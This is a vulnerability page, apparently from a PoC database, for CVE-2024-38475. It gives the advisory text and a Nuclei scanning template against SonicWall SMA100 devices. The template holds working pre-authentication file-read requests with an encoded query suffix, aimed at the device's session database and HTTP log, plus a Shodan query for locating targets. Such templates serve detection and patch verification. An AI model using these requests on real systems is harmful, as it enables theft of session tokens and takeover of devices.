Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected. Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.
PoC代码[已公开]
id: CVE-2024-38475
info:
name: Sonicwall - Pre-Authentication Arbitrary File Read
author: shaikhyaser
severity: critical
description: |
Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected. Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-SonicWall-PreAuth-RCE-Chain/blob/main/watchTowr-vs-SonicWall-PreAuth-RCE-Chain.py
- https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/
- https://nvd.nist.gov/vuln/detail/CVE-2024-38475
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2024-38475
cwe-id: CWE-116
epss-score: 0.93701
epss-percentile: 0.99843
metadata:
verified: true
max-request: 1
shodan-query: html:"SonicWall" html:"SMA"
tags: cve,cve2024,sonicwal,sma-100,lfi,kev,vkev
http:
- method: GET
path:
- "{{BaseURL}}/tmp/temp.db%3f.1.1.1.1a-1.css"
- "{{BaseURL}}/mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css"
matchers-condition: or
matchers:
- type: dsl
dsl:
- 'contains_all(body, "SQLite format","sessionId")'
- 'status_code == 200'
condition: and
- type: dsl
dsl:
- 'contains_all(body, "mod_antiloris","[pid")'
- 'contains(content_type, "text/plain")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502201e37c8c6eac3a2a5564a0048726167518e1a598d655e81e283fc9bfa85141e06022100e9702bf154fdf1829b2e47c38bbab18e989e00f31d6cb08d6150b676b9cadbf6:922c64590222798bb761d5b6d8e72950